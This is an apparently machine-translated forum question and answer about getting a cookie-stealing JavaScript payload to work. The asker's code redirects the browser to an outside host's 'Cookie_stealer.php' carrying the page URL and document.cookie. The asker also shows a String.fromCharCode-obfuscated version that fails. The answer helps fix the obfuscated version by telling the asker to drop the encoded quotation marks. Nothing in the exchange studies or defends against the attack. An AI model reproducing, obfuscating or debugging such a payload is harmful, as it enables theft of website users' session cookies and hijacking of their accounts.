Javascript 字符串.fromcharcode

Question

我对 javascript 和编程完全陌生。

这是原始代码:

document.location = "http://ormteam.net23.net/Cookie_stealer.php?url=" + window.location.href + "&cookies=" + document.cookie;

这是 string.fromcharcode

document.location = String.fromCharCode(34, 104, 116, 116, 112, 58, 47, 47, 111, 114, 109, 116, 101, 97, 109, 46, 110, 101, 116, 50, 51, 46, 110, 101, 116, 47, 67, 111, 111, 107, 105, 101, 95, 115, 116, 101, 97, 108, 101, 114, 46, 112, 104, 112, 63, 117, 114, 108, 61, 34) + document.url + String.fromCharCode(34, 38, 99, 111, 111, 107, 105, 101, 115, 61, 34) + document.cookies;

为什么这不起作用？

坐在这个安静的代码上几个小时! ;//

Answer 1

只有字符串文字才需要引号。由于您没有使用字符串文字，因此不需要引号。

document.location = String.fromCharCode(104, 116, 116, 112, ...